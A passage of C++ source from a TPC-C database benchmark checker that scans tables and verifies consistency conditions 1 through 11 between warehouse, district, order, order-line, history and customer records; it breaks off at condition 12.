// tbl: customer, order, new_order
bool check_consistency_11();
// tbl: customer, order_line
bool check_consistency_12();
// some scratch buffer space
string obj_key0;
string obj_key1;
string obj_v;
};
const tpcc_bench_checker::check_func tpcc_bench_checker::check_funcs[n] = {
&tpcc_bench_checker::check_consistency_1,
&tpcc_bench_checker::check_consistency_2,
&tpcc_bench_checker::check_consistency_3,
&tpcc_bench_checker::check_consistency_4,
&tpcc_bench_checker::check_consistency_5,
&tpcc_bench_checker::check_consistency_6,
&tpcc_bench_checker::check_consistency_7,
&tpcc_bench_checker::check_consistency_8,
&tpcc_bench_checker::check_consistency_9,
&tpcc_bench_checker::check_consistency_10,
&tpcc_bench_checker::check_consistency_11,
&tpcc_bench_checker::check_consistency_12
};
void tpcc_bench_checker::check() {
if (!consistency_check)
return;
bool result[n];
// TODO
// since all the check are run with 1 single thread, no need to commit or abort the txn
// memory unrelease of course, but just ignore that to avoid segment fault
// will fix this later
// TODO - there could be segment faults when checking consistency
// Hack: just comment all the line in piece_impl.h::mix_op<Transaction>::do_node_read
std::cerr << "------------------------------------------------" << std::endl;
for (int i = 0; i < n; i++) {
std::cerr << "Doing checking: " << i + 1 << "/" << n;
result[i] = (this->*check_funcs[i])();
std::cerr << "\r";
}
std::cerr << "\r" << std::endl;
for (int i = 0; i < n; i++) {
std::cerr << "Consistency_" << i + 1 << " checking: " << (result[i] ? "success" : "fail") << std::endl;
}
std::cerr << "------------------------------------------------" << std::endl;
}
class new_order_check_scan_callback : public abstract_ordered_index::scan_callback {
public:
new_order_check_scan_callback() : n(0), min_no_o_id(numeric_limits<int32_t>::max()), max_no_o_id(0) {}
virtual bool invoke(
const char *keyp, size_t keylen,
const string &value) {
INVARIANT(keylen == sizeof(new_order::key));
INVARIANT(value.size() == sizeof(new_order::value));
const new_order::key *k_no = Decode(keyp, k_no_temp);
++n;
if (k_no->no_o_id > max_no_o_id) max_no_o_id = k_no->no_o_id;
if (k_no->no_o_id < min_no_o_id) min_no_o_id = k_no->no_o_id;
#ifdef CHECK_INVARIANTS
new_order::value v_no_temp;
const new_order::value *v_no = Decode(value, v_no_temp);
checker::SanityCheckNewOrder(k_no, v_no);
#endif
return true;
}
inline uint64_t get_min_no_o_id() const {
return min_no_o_id;
}
inline uint64_t get_max_no_o_id() const {
return max_no_o_id;
}
inline size_t get_count() const {
return n;
}
private:
size_t n;
new_order::key k_no_temp;
uint64_t min_no_o_id;
uint64_t max_no_o_id;
};
class order_check_scan_callback : public abstract_ordered_index::scan_callback {
public:
order_check_scan_callback() : n(0), max_o_id(0), sum_o_ol_cnt(0) {}
virtual bool invoke(
const char *keyp, size_t keylen,
const string &value) {
INVARIANT(keylen == sizeof(oorder::key));
INVARIANT(value.size() == sizeof(oorder::value));
const oorder::key *k_o = Decode(keyp, k_o_temp);
const oorder::value *v_o = Decode(value, v_o_temp);
++n;
if (k_o->o_id > max_o_id) max_o_id = k_o->o_id;
sum_o_ol_cnt += v_o->o_ol_cnt;
checker::SanityCheckOOrder(k_o, v_o);
#ifdef CHECK_INVARIANTS
checker::SanityCheckOOrder(k_o, v_o);
#endif
return true;
}
inline uint64_t get_max_o_id() const {
return max_o_id;
}
inline uint get_sum_o_ol_cnt() const {
return sum_o_ol_cnt;
}
inline size_t get_count() const {
return n;
}
private:
size_t n;
oorder::key k_o_temp;
oorder::value v_o_temp;
uint64_t max_o_id;
uint sum_o_ol_cnt;
};
class order_line_check_scan_callback : public abstract_ordered_index::scan_callback {
public:
order_line_check_scan_callback() : n(0), sum_ol_amount_delivery_not_null(0) {}
virtual bool invoke(
const char *keyp, size_t keylen,
const string &value) {
INVARIANT(keylen == sizeof(order_line::key));
INVARIANT(value.size() == sizeof(order_line::value));
const order_line::key *k_ol = Decode(keyp, k_ol_temp);
const order_line::value *v_ol = Decode(value, v_ol_temp);
++n;
if (v_ol->ol_delivery_d != 0) sum_ol_amount_delivery_not_null += v_ol->ol_amount;
#ifdef CHECK_INVARIANTS
checker::SanityCheckOrderLine(k_ol, v_ol);
#endif
return true;
}
inline size_t get_count() const {
return n;
}
inline float get_sum_ol_amount_delivery_not_null() const {
return sum_ol_amount_delivery_not_null;
}
private:
size_t n;
order_line::key k_ol_temp;
order_line::value v_ol_temp;
float sum_ol_amount_delivery_not_null;
};
class history_check_scan_callback : public abstract_ordered_index::scan_callback {
public:
history_check_scan_callback(uint w_id = 0, uint d_id = 0, uint c_id = 0) :
w_id(w_id), d_id(d_id), c_id(c_id), n(0), sum_h_amount(0) {}
virtual bool invoke(
const char *keyp, size_t keylen,
const string &value) {
INVARIANT(keylen == sizeof(history::key));
INVARIANT(value.size() == sizeof(history::value));
const history::key *k_h = Decode(keyp, k_h_temp);
const history::value *v_h = Decode(value, v_h_temp);
++n;
bool should_not_add_sum = false;
if (c_id != 0) {
// this is consistency check 10
// the difference is that consistency check 10 uses field "h_c_w_id" and "h_c_d_id"
should_not_add_sum = (w_id != 0 && w_id != k_h->h_c_w_id) ||
(d_id != 0 && d_id != k_h->h_c_d_id) ||
(c_id != 0 && c_id != k_h->h_c_id);
} else {
// this is consistency check 8 or 9
should_not_add_sum = (w_id != 0 && w_id != k_h->h_w_id) ||
(d_id != 0 && d_id != k_h->h_d_id) ||
(c_id != 0 && c_id != k_h->h_c_id);
}
if (!should_not_add_sum) sum_h_amount += v_h->h_amount;
return true;
}
inline float get_sum_h_amount() const {
return sum_h_amount;
}
inline size_t get_count() const {
return n;
}
private:
uint w_id;
uint d_id;
uint c_id;
size_t n;
history::key k_h_temp;
history::value v_h_temp;
float sum_h_amount;
};
bool tpcc_bench_checker::check_consistency_1() {
// Consistency Condition 1
//
// Entries in the WAREHOUSE and DISTRICT tables must satisfy the relationship:
// W_YTD = sum(D_YTD)
// for each warehouse defined by (W_ID = D_W_ID)
try {
for (uint warehouse_id = 1; warehouse_id <= NumWarehouses(); warehouse_id++) {
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
// WAREHOUSE: W_YTD
const warehouse::key k_w(warehouse_id);
ALWAYS_ASSERT(tbl_warehouse(warehouse_id)->get(txn, Encode(obj_key0, k_w), obj_v));
warehouse::value v_w_temp;
const warehouse::value *v_w = Decode(obj_v, v_w_temp);
checker::SanityCheckWarehouse(&k_w, v_w);
float w_ytd = v_w->w_ytd;
// DISTRICT: sum(D_YTD)
float sum_ytd = 0;
for (uint district_id = 1; district_id <= NumDistrictsPerWarehouse(); district_id++) {
const district::key k_d(warehouse_id, district_id);
ALWAYS_ASSERT(tbl_district(warehouse_id)->get(txn, Encode(obj_key0, k_d), obj_v));
district::value v_d_temp;
const district::value *v_d = Decode(obj_v, v_d_temp);
checker::SanityCheckDistrict(&k_d, v_d);
sum_ytd += v_d->d_ytd;
}
if (fabs(w_ytd - sum_ytd) > EPSILON) {
// if (verbose)
std::cerr << "warehouse " << warehouse_id << " has YTD " << w_ytd
<< " districts have sum YTD " << sum_ytd
<< " diff is " << fabs(w_ytd - sum_ytd)
<< std::endl;
return false;
}
}
return true;
} catch (abstract_db::abstract_abort_exception &ex) {
return false;
}
}
bool tpcc_bench_checker::check_consistency_2() {
// Consistency Condition 2
//
// Entries in the DISTRICT, ORDER, and NEW-ORDER tables must satisfy the relationship:
// D_NEXT_O_ID - 1 = max(O_ID) = max(NO_O_ID)
// for each district defined by (D_W_ID = O_W_ID = NO_W_ID) and (D_ID = O_D_ID = NO_D_ID)
// This condition does not apply to the NEW-ORDER table for any districts which have no outstanding new orders
// (i.e., the numbe r of rows is zero)
scoped_str_arena s_arena(arena);
try {
for (uint warehouse_id = 1; warehouse_id <= NumWarehouses(); warehouse_id++) {
for (uint district_id = 1; district_id <= NumDistrictsPerWarehouse(); district_id++) {
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
// DISTRICT: D_NEXT_O_ID - 1
const district::key k_d(warehouse_id, district_id);
ALWAYS_ASSERT(tbl_district(warehouse_id)->get(txn, Encode(obj_key0, k_d), obj_v));
district::value v_d_temp;
const district::value *v_d = Decode(obj_v, v_d_temp);
checker::SanityCheckDistrict(&k_d, v_d);
const uint64_t my_next_o_id = v_d->d_next_o_id;
// ORDER: max(O_ID)
const oorder::key k_o_0(warehouse_id, district_id, 0);
const oorder::key k_o_1(warehouse_id, district_id, numeric_limits<int32_t>::max());
order_check_scan_callback order_c;
{
tbl_oorder(warehouse_id)->scan(txn, Encode(str(), k_o_0), &Encode(str(), k_o_1), order_c, s_arena.get());
}
const uint64_t max_o_id = order_c.get_max_o_id();
// NEW-ORDER: max(NO_O_ID)
const new_order::key k_no_0(warehouse_id, district_id, 0);
const new_order::key k_no_1(warehouse_id, district_id, numeric_limits<int32_t>::max());
new_order_check_scan_callback new_order_c;
{
tbl_new_order(warehouse_id)->scan(txn, Encode(str(), k_no_0), &Encode(str(), k_no_1), new_order_c,
s_arena.get());
}
if (new_order_c.get_count() == 0) continue;
const uint64_t max_no_o_id = new_order_c.get_max_no_o_id();
if ((my_next_o_id - 1) != max_no_o_id || (my_next_o_id - 1) != max_o_id) {
// if (verbose)
std::cerr << "warehouse " << warehouse_id
<< " district " << district_id
<< " D_NEXT_O_ID-1=" << my_next_o_id - 1
<< " max(O_ID)=" << max_o_id
<< " max(NO_O_ID)=" << max_no_o_id
<< std::endl;
return false;
}
}
}
return true;
} catch (abstract_db::abstract_abort_exception &ex) {
return false;
}
}
bool tpcc_bench_checker::check_consistency_3() {
// Consistency Condition 3
//
// max(NO_O_ID) - min(NO_O_ID) + 1 = [number of rows in the NEW-ORDER table for this district]
scoped_str_arena s_arena(arena);
try {
for (uint warehouse_id = 1; warehouse_id <= NumWarehouses(); warehouse_id++) {
for (uint district_id = 1; district_id <= NumDistrictsPerWarehouse(); district_id++) {
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
// NEW-ORDER: max(NO_O_ID), min(NO_O_ID), row_count
const new_order::key k_no_0(warehouse_id, district_id, 0);
const new_order::key k_no_1(warehouse_id, district_id, numeric_limits<int32_t>::max());
new_order_check_scan_callback new_order_c;
{
tbl_new_order(warehouse_id)->scan(txn, Encode(str(), k_no_0), &Encode(str(), k_no_1), new_order_c,
s_arena.get());
}
if (new_order_c.get_count() == 0) continue;
const uint64_t min_no_o_id = new_order_c.get_min_no_o_id();
const uint64_t max_no_o_id = new_order_c.get_max_no_o_id();
const size_t row_count = new_order_c.get_count();
if ((max_no_o_id - min_no_o_id + 1) != row_count) {
// if (verbose)
std::cerr << "warehouse " << warehouse_id
<< " district " << district_id
<< " min(NO_O_ID)=" << min_no_o_id
<< " max(NO_O_ID)=" << max_no_o_id
<< " max-min+1=" << max_no_o_id - min_no_o_id + 1
<< " row_count=" << row_count
<< std::endl;
return false;
}
}
}
return true;
} catch (abstract_db::abstract_abort_exception &ex) {
return false;
}
}
bool tpcc_bench_checker::check_consistency_4() {
// Consistency Condition 4
//
// Entries in the ORDER and ORDER-LINE tables must satisfy the relationship:
// sum(O_OL_CNT) = [number of rows in the ORDER-LINE table for this district]
scoped_str_arena s_arena(arena);
try {
for (uint warehouse_id = 1; warehouse_id <= NumWarehouses(); warehouse_id++) {
for (uint district_id = 1; district_id <= NumDistrictsPerWarehouse(); district_id++) {
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
// ORDER: sum(O_OL_CNT)
const oorder::key k_o_0(warehouse_id, district_id, 0);
const oorder::key k_o_1(warehouse_id, district_id, numeric_limits<int32_t>::max());
order_check_scan_callback order_c;
{
tbl_oorder(warehouse_id)->scan(txn, Encode(str(), k_o_0), &Encode(str(), k_o_1), order_c, s_arena.get());
}
const uint sum_o_ol_cnt = order_c.get_sum_o_ol_cnt();
// ORDER-LINE: [number of rows in the ORDER-LINE table for this district]
size_t row_count = 0;
uint64_t start_pos = 0;
const uint64_t section = 100;
bool boundry_max = false;
while (true) {
// avoid overflow
str_arena arena_tmp;
void *txn_tmp = db->new_txn(txn_flags, arena_tmp, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
order_line_check_scan_callback order_line_c;
const order_line::key k_oo_0(warehouse_id, district_id, start_pos, 0);
const order_line::key k_oo_1(warehouse_id, district_id,
boundry_max ? numeric_limits<int32_t>::max() : start_pos + section, 0);
{
tbl_order_line(warehouse_id)->scan(txn_tmp, Encode(str(), k_oo_0), &Encode(str(), k_oo_1), order_line_c,
s_arena.get());
}
// no tuple found
if (order_line_c.get_count() == 0 && !boundry_max) {
boundry_max = true;
continue;
} else if (boundry_max) {
ALWAYS_ASSERT(order_line_c.get_count() == 0);
break;
}
row_count += order_line_c.get_count();
// prepare to check next section
start_pos += section;
}
if (sum_o_ol_cnt != row_count) {
// if (verbose)
std::cerr << "warehouse " << warehouse_id
<< " district " << district_id
<< " sum_o_ol_cnt=" << sum_o_ol_cnt
<< " row_count=" << row_count
<< std::endl;
return false;
}
}
}
return true;
} catch (abstract_db::abstract_abort_exception &ex) {
return false;
}
}
bool tpcc_bench_checker::check_consistency_5() {
// Consistency Condition 5
//
// For any row in the ORDER table, O_CARRIER_ID is set to a null value if and only if there is a corresponding row in
// the NEW-ORDER table defined by (O_W_ID, O_D_ID, O_ID) = (NO_W_ID, NO_D_ID, NO_O_ID)
scoped_str_arena s_arena(arena);
try {
for (uint warehouse_id = 1; warehouse_id <= NumWarehouses(); warehouse_id++) {
for (uint district_id = 1; district_id <= NumDistrictsPerWarehouse(); district_id++) {
uint64_t start_pos = 0;
const uint64_t section = 100;
bool boundry_max = false;
while (true) {
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
// ORDER
const oorder::key k_o_0(warehouse_id, district_id, start_pos);
const oorder::key k_o_1(warehouse_id, district_id,
boundry_max ? numeric_limits<int32_t>::max() : start_pos + section);
static_limit_callback<section> oorder_c(s_arena.get(), false);
{
tbl_oorder(warehouse_id)->scan(txn, Encode(str(), k_o_0), &Encode(str(), k_o_1), oorder_c, s_arena.get());
}
// no tuple found
if (oorder_c.size() == 0 && !boundry_max) {
boundry_max = true;
continue;
} else if (boundry_max) {
ALWAYS_ASSERT(oorder_c.size() == 0);
break;
}
// check consistency
for (size_t i = 0; i < oorder_c.size(); i++) {
// ORDER: whether O_CARRIER_ID null
oorder::key k_o_temp;
const oorder::key *k_o = Decode(*oorder_c.values[i].first, k_o_temp);
oorder::value v_o_temp;
const oorder::value *v_o = Decode(*oorder_c.values[i].second, v_o_temp);
bool carrier_id_null = v_o->o_carrier_id == 0;
// NEW-ORDER: whether corresponding row exists
const new_order::key k_no(warehouse_id, district_id, k_o->o_id);
bool row_found = tbl_new_order(warehouse_id)->get(txn, Encode(obj_key0, k_no), obj_v);
// order's carrier_id is null -> corresponding row in new_order table
// order's carrier_id is not null -> no corresponding row in new_order table
if (carrier_id_null != row_found) {
// if (verbose)
std::cerr << "warehouse " << warehouse_id
<< " district " << district_id
<< " o_id=" << k_o->o_id
<< " carrier_id_null=" << (carrier_id_null ? "true" : "false")
<< " row_found=" << (row_found ? "true" : "false")
<< std::endl;
return false;
}
}
// prepare to check next section
start_pos += section;
}
}
}
return true;
} catch (abstract_db::abstract_abort_exception &ex) {
return false;
}
}
bool tpcc_bench_checker::check_consistency_6() {
// Consistency Condition 6
//
// For any row in the ORDER table, O_OL_CNT must equal the number of rows in the ORDER-LINE table
// for the corresponding order defined by (O_W_ID, O_D_ID, O_ID) = (OL_W_ID, OL_D_ID, OL_O_ID)
scoped_str_arena s_arena(arena);
try {
for (uint warehouse_id = 1; warehouse_id <= NumWarehouses(); warehouse_id++) {
for (uint district_id = 1; district_id <= NumDistrictsPerWarehouse(); district_id++) {
uint64_t start_pos = 0;
const uint64_t section = 100;
bool boundry_max = false;
while (true) {
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
// ORDER
const oorder::key k_o_0(warehouse_id, district_id, start_pos);
const oorder::key k_o_1(warehouse_id, district_id,
boundry_max ? numeric_limits<int32_t>::max() : start_pos + section);
static_limit_callback<section> oorder_c(s_arena.get(), false);
{
tbl_oorder(warehouse_id)->scan(txn, Encode(str(), k_o_0), &Encode(str(), k_o_1), oorder_c, s_arena.get());
}
// no tuple found
if (oorder_c.size() == 0 && !boundry_max) {
boundry_max = true;
continue;
} else if (boundry_max) {
ALWAYS_ASSERT(oorder_c.size() == 0);
break;
}
// check consistency
for (size_t i = 0; i < oorder_c.size(); i++) {
// ORDER: O_OL_CNT
oorder::key k_o_temp;
const oorder::key *k_o = Decode(*oorder_c.values[i].first, k_o_temp);
oorder::value v_o_temp;
const oorder::value *v_o = Decode(*oorder_c.values[i].second, v_o_temp);
uint o_ol_cnt = v_o->o_ol_cnt;
// ORDER-LINE: [number of rows in the ORDER-LINE table for this district]
order_line_check_scan_callback order_line_c;
const order_line::key k_oo_0(warehouse_id, district_id, k_o->o_id, 0);
const order_line::key k_oo_1(warehouse_id, district_id, k_o->o_id, numeric_limits<int32_t>::max());
{
tbl_order_line(warehouse_id)->scan(txn, Encode(str(), k_oo_0), &Encode(str(), k_oo_1), order_line_c,
s_arena.get());
}
const size_t row_count = order_line_c.get_count();
if (o_ol_cnt != row_count) {
// if (verbose)
std::cerr << "warehouse " << warehouse_id
<< " district " << district_id
<< " order " << k_o->o_id
<< " o_ol_cnt=" << o_ol_cnt
<< " row_count=" << row_count
<< std::endl;
return false;
}
}
// prepare to check next section
start_pos += section;
}
}
}
return true;
} catch (abstract_db::abstract_abort_exception &ex) {
return false;
}
}
bool tpcc_bench_checker::check_consistency_7() {
// Consistency Condition 7
//
// For any row in the ORDER-LINE table, OL_DELIVERY_D is set to a null date/ time
// if and only if the corresponding row in the ORDER table
// defined by (O_W_ID, O_D_ID, O_ID) = (OL_W_ID, OL_D_ID, OL_O_ID) has O_CARRIER_ID set to a null value
scoped_str_arena s_arena(arena);
try {
for (uint warehouse_id = 1; warehouse_id <= NumWarehouses(); warehouse_id++) {
for (uint district_id = 1; district_id <= NumDistrictsPerWarehouse(); district_id++) {
uint64_t start_pos = 0;
const uint64_t section = 100;
bool boundry_max = false;
while (true) {
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
// ORDER-LINE
static_limit_callback<section> order_line_c(s_arena.get(), false);
const order_line::key k_oo_0(warehouse_id, district_id, start_pos, 0);
const order_line::key k_oo_1(warehouse_id, district_id,
boundry_max ? numeric_limits<int32_t>::max() : start_pos + section,
numeric_limits<int32_t>::max());
{
tbl_order_line(warehouse_id)->scan(txn, Encode(str(), k_oo_0), &Encode(str(), k_oo_1), order_line_c,
s_arena.get());
}
// no tuple found
if (order_line_c.size() == 0 && !boundry_max) {
boundry_max = true;
continue;
} else if (boundry_max) {
ALWAYS_ASSERT(order_line_c.size() == 0);
break;
}
// check consistency
for (size_t i = 0; i < order_line_c.size(); i++) {
// ORDER-LINE: whether OL_DELIVERY_D is set to a null date/ time
order_line::key k_ol_temp;
const order_line::key *k_ol = Decode(*order_line_c.values[i].first, k_ol_temp);
order_line::value v_ol_temp;
const order_line::value *v_ol = Decode(*order_line_c.values[i].second, v_ol_temp);
bool ol_delivery_d_null = v_ol->ol_delivery_d == 0;
// ORDER: whether corresponding order's O_CARRIER_ID is null
const oorder::key k_o(warehouse_id, district_id, k_ol->ol_o_id);
ALWAYS_ASSERT(tbl_oorder(warehouse_id)->get(txn, Encode(obj_key0, k_o), obj_v));
oorder::value v_o_temp;
const oorder::value *v_o = Decode(obj_v, v_o_temp);
checker::SanityCheckOOrder(&k_o, v_o);
bool o_carrier_id_null = v_o->o_carrier_id == 0;
// order_line's ol_delivery_d is null -> corresponding order o_carrier_id is null
// order_line's ol_delivery_d is not null -> corresponding order o_carrier_id is null
if (ol_delivery_d_null != o_carrier_id_null) {
// if (verbose)
std::cerr << "warehouse " << warehouse_id
<< " district " << district_id
<< " o_id=" << k_ol->ol_o_id
<< " ol_delivery_d_null=" << (ol_delivery_d_null ? "true" : "false")
<< " ol_delivery_d=" << v_ol->ol_delivery_d
<< " o_carrier_id_null=" << (o_carrier_id_null ? "true" : "false")
<< " o_carrier_id=" << v_o->o_carrier_id
<< std::endl;
return false;
}
}
// prepare to check next section
start_pos += section;
}
}
}
return true;
} catch (abstract_db::abstract_abort_exception &ex) {
return false;
}
}
bool tpcc_bench_checker::check_consistency_8() {
// Consistency Condition 8
//
// Entries in the WAREHOUSE and HISTORY tables must satisfy the relationship:
// W_YTD = sum(H_AMOUNT)
scoped_str_arena s_arena(arena);
try {
for (uint warehouse_id = 1; warehouse_id <= NumWarehouses(); warehouse_id++) {
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
// WAREHOUSE: W_YTD
const warehouse::key k_w(warehouse_id);
ALWAYS_ASSERT(tbl_warehouse(warehouse_id)->get(txn, Encode(obj_key0, k_w), obj_v));
warehouse::value v_w_temp;
const warehouse::value *v_w = Decode(obj_v, v_w_temp);
checker::SanityCheckWarehouse(&k_w, v_w);
float w_ytd = v_w->w_ytd;
// HISTORY: sum(H_AMOUNT)
history_check_scan_callback history_c(warehouse_id);
const history::key k_h_0(0, 0, 0, 0, 0, 0);
{
tbl_history(warehouse_id)->scan(txn, Encode(str(), k_h_0), nullptr, history_c, s_arena.get());
}
float sum_h_amount = history_c.get_sum_h_amount();
if (fabs(w_ytd - sum_h_amount) > EPSILON) {
// if (verbose)
std::cerr << "warehouse " << warehouse_id << " has YTD " << w_ytd
<< " history have sum h_amount " << sum_h_amount
<< " diff is " << fabs(w_ytd - sum_h_amount)
<< std::endl;
return false;
}
}
return true;
} catch (abstract_db::abstract_abort_exception &ex) {
return false;
}
}
bool tpcc_bench_checker::check_consistency_9() {
// Consistency Condition 9
//
// Entries in the DISTRICT and HISTORY tables must satisfy the relationship:
// D_YTD = sum(H_AMOUNT)
// for each district defined by (D_W_ID, D_ID) = (H_W_ID, H_D_ID)
scoped_str_arena s_arena(arena);
try {
for (uint warehouse_id = 1; warehouse_id <= NumWarehouses(); warehouse_id++) {
for (uint district_id = 1; district_id <= NumDistrictsPerWarehouse(); district_id++) {
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
// DISTRICT: D_YTD
const district::key k_d(warehouse_id, district_id);
ALWAYS_ASSERT(tbl_district(warehouse_id)->get(txn, Encode(obj_key0, k_d), obj_v));
district::value v_d_temp;
const district::value *v_d = Decode(obj_v, v_d_temp);
checker::SanityCheckDistrict(&k_d, v_d);
float d_ytd = v_d->d_ytd;
// HISTORY: sum(H_AMOUNT)
history_check_scan_callback history_c(warehouse_id, district_id);
const history::key k_h_0(0, 0, 0, district_id, warehouse_id, 0);
{
tbl_history(warehouse_id)->scan(txn, Encode(str(), k_h_0), nullptr, history_c, s_arena.get());
}
float sum_h_amount = history_c.get_sum_h_amount();
if (fabs(d_ytd - sum_h_amount) > EPSILON) {
// if (verbose)
std::cerr << "warehouse " << warehouse_id
<< " district " << district_id
<< " D_YTD " << d_ytd
<< " history have sum h_amount " << sum_h_amount
<< " diff is " << fabs(d_ytd - sum_h_amount)
<< std::endl;
return false;
}
}
}
return true;
} catch (abstract_db::abstract_abort_exception &ex) {
return false;
}
}
bool tpcc_bench_checker::check_consistency_10() {
// Consistency Condition 10
//
// Entries in the CUSTOMER, HISTORY, ORDER, and ORDER-LINE tables must satisfy the relationship:
// C_BALANCE = sum(OL_AMOUNT) - sum(H_AMOUNT)
// where:
// H_AMOUNT is selected by (C_W_ID, C_D_ID, C_ID) = (H_C_W_ID, H_C_D_ID, H_C_ID)
// and
// OL_AMOUNT is selected by:
// (OL_W_ID, OL_D_ID, OL_O_ID) = (O_W_ID, O_D_ID, O_ID) and
// (O_W_ID, O_D_ID, O_C_ID) = (C_W_ID, C_D_ID, C_ID) and
// (OL_DELIVERY_D is not a null value)
scoped_str_arena s_arena(arena);
try {
for (uint warehouse_id = 1; warehouse_id <= NumWarehouses(); warehouse_id++) {
for (uint district_id = 1; district_id <= NumDistrictsPerWarehouse(); district_id++) {
uint64_t start_pos = 0;
const uint64_t section = 100;
bool boundry_max = false;
while (true) {
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
// CUSTOMER
static_limit_callback<section> customer_c(s_arena.get(), false);
const customer::key k_c_0(warehouse_id, district_id, start_pos);
const customer::key k_c_1(warehouse_id, district_id, boundry_max ? numeric_limits<int32_t>::max() : start_pos + section);
{
tbl_customer(warehouse_id)->scan(txn, Encode(str(), k_c_0), &Encode(str(), k_c_1), customer_c,
s_arena.get());
}
// no tuple found
if (customer_c.size() == 0 && !boundry_max) {
boundry_max = true;
continue;
} else if (boundry_max) {
ALWAYS_ASSERT(customer_c.size() == 0);
break;
}
// check consistency
for (size_t i = 0; i < customer_c.size(); i++) {
// CUSTOMER: C_BALANCE
customer::key k_c_temp;
const customer::key *k_c = Decode(*customer_c.values[i].first, k_c_temp);
customer::value v_c_temp;
const customer::value *v_c = Decode(*customer_c.values[i].second, v_c_temp);
float c_balance = v_c->c_balance;
// only for history use, avoid string overflow
str_arena arena_tmp;
void *txn_tmp = db->new_txn(txn_flags, arena_tmp, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
// HISTORY: sum(H_AMOUNT)
uint64_t max = numeric_limits<int32_t>::max();
history_check_scan_callback history_c(warehouse_id, district_id, k_c->c_id);
const history::key k_h_0(k_c->c_id, 0, 0, 0, 0, 0);
const history::key k_h_1(k_c->c_id, max, max, max, max, numeric_limits<uint32_t>::max());
{
tbl_history(warehouse_id)->scan(txn_tmp, Encode(str(), k_h_0), &Encode(str(), k_h_1), history_c, s_arena.get());
}
float sum_h_amount = history_c.get_sum_h_amount();
// ORDER-LINE: sum(OL_AMOUNT) where
// (OL_W_ID, OL_D_ID, OL_O_ID) = (O_W_ID, O_D_ID, O_ID) and
// (O_W_ID, O_D_ID, O_C_ID) = (C_W_ID, C_D_ID, C_ID) and
// (OL_DELIVERY_D is not a null value)
static_limit_callback<1000> idx_c(s_arena.get(), false);
const oorder_c_id_idx::key k_oo_idx_0(k_c->c_w_id, k_c->c_d_id, k_c->c_id, 0);
const oorder_c_id_idx::key k_oo_idx_1(k_c->c_w_id, k_c->c_d_id, k_c->c_id, numeric_limits<int32_t>::max());
{
tbl_oorder_c_id_idx(warehouse_id)->scan(txn, Encode(str(), k_oo_idx_0), &Encode(str(), k_oo_idx_1), idx_c, s_arena.get());
}
float sum_ol_amount = 0;
for (size_t j = 0; j < idx_c.size(); j++) {
oorder_c_id_idx::key k_oo_idx_temp;
const oorder_c_id_idx::key *k_oo_idx = Decode(*idx_c.values[j].first, k_oo_idx_temp);
const uint o_w_id = k_oo_idx->o_w_id;
const uint o_d_id = k_oo_idx->o_d_id;
const uint o_id = k_oo_idx->o_o_id;
order_line_check_scan_callback order_line_c;
const order_line::key k_oo_0(o_w_id, o_d_id, o_id, 0);
const order_line::key k_oo_1(o_w_id, o_d_id, o_id, numeric_limits<int32_t>::max());
{
tbl_order_line(warehouse_id)->scan(txn, Encode(str(), k_oo_0), &Encode(str(), k_oo_1), order_line_c,
s_arena.get());
}
sum_ol_amount += order_line_c.get_sum_ol_amount_delivery_not_null();
}
if (fabs(c_balance - (sum_ol_amount - sum_h_amount)) > EPSILON) {
// if (verbose)
std::cerr << "warehouse " << warehouse_id
<< " district " << district_id
<< " customer " << k_c->c_id
<< " c_balance=" << c_balance
<< " sum_h_amount=" << sum_h_amount
<< " sum_ol_amount=" << sum_ol_amount
<< " diff is " << fabs(c_balance - (sum_ol_amount - sum_h_amount))
<< std::endl;
return false;
}
}
// prepare to check next section
start_pos += section;
}
}
}
return true;
} catch (abstract_db::abstract_abort_exception &ex) {
return false;
}
}
bool tpcc_bench_checker::check_consistency_11() {
// Consistency Condition 11
//
// Entries in the CUSTOMER, ORDER and NEW-ORDER tables must satisfy the relationship:
// (count(*) from ORDER) - (count(*) from NEW-ORDER) = 2100
// for each district defined by (O_W_ID, O_D_ID) = (NO_W_ID, NO_D_ID) = (C_W_ID, C_D_ID)
// Jiachen: how could CUSTOMER table be used here?
scoped_str_arena s_arena(arena);
try {
for (uint warehouse_id = 1; warehouse_id <= NumWarehouses(); warehouse_id++) {
for (uint district_id = 1; district_id <= NumDistrictsPerWarehouse(); district_id++) {
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
// ORDER: o_row_count
const oorder::key k_o_0(warehouse_id, district_id, 0);
const oorder::key k_o_1(warehouse_id, district_id, numeric_limits<int32_t>::max());
order_check_scan_callback oorder_c;
{
tbl_oorder(warehouse_id)->scan(txn, Encode(str(), k_o_0), &Encode(str(), k_o_1), oorder_c, s_arena.get());
}
const size_t o_row_count = oorder_c.get_count();
// NEW-ORDER: no_row_count
const new_order::key k_no_0(warehouse_id, district_id, 0);
const new_order::key k_no_1(warehouse_id, district_id, numeric_limits<int32_t>::max());
new_order_check_scan_callback new_order_c;
{
tbl_new_order(warehouse_id)->scan(txn, Encode(str(), k_no_0), &Encode(str(), k_no_1), new_order_c,
s_arena.get());
}
if (new_order_c.get_count() == 0) continue;
const size_t no_row_count = new_order_c.get_count();
if (o_row_count != no_row_count + 2100) {
// if (verbose)
std::cerr << "warehouse " << warehouse_id
<< " district " << district_id
<< " order_count=" << o_row_count
<< " new_order_count=" << no_row_count
<< std::endl;
return false;
}
}
}
return true;
} catch (abstract_db::abstract_abort_exception &ex) {
return false;
}
}
bool tpcc_bench_checker::check_consistency_12() {
// Consistency Condition 12
//
